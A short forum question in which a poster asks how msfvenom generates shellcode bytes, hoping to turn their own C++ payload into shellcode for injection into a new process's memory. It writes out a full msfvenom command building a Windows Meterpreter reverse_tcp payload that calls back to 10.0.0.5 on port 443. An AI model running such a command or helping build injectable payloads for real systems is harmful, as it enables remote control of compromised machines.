how does msfvenom generate those assembly bytes from a c/c++ payload?

[anasouardini-old]

the msfvenom tool, using this command ex: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=443 -f csharp. will generates bytes of assembly of the a payload written in C language.

i've been looking for a way to do this with my cpp payload for 7days but i found nothing about this online. i have a payload written in cpp but i want to inject it into memory and execute it in a new process.

i've compiled it into an exe and injected it using a complexe way but it caused many isues, and after solving solving those issues the app still give an error from time to time, i guess it's because injecting an exe binary is a lot difficult than i thought.

so i thought the way that msfvenom does it is easier and better. but i've stuck with it for 7 days with no result. i thought i could just write the whole payload in assembly but wfter relizing that the size of the payload reached 200kb i said no way.

again i thought that i could just copy the assembly bytes from the dissassembly window in VisualStudio, but a guy in stackoverflow told me that it's not going to work you need to write it manually in assembly or code it in hex manually using instructions reference. i don't know what the second option means but manually is definitelly a hard-way of doing it.

but how does the msfvenom do it automatically???
how does msfvenom generate those assembly bytes from a c/c++ payload?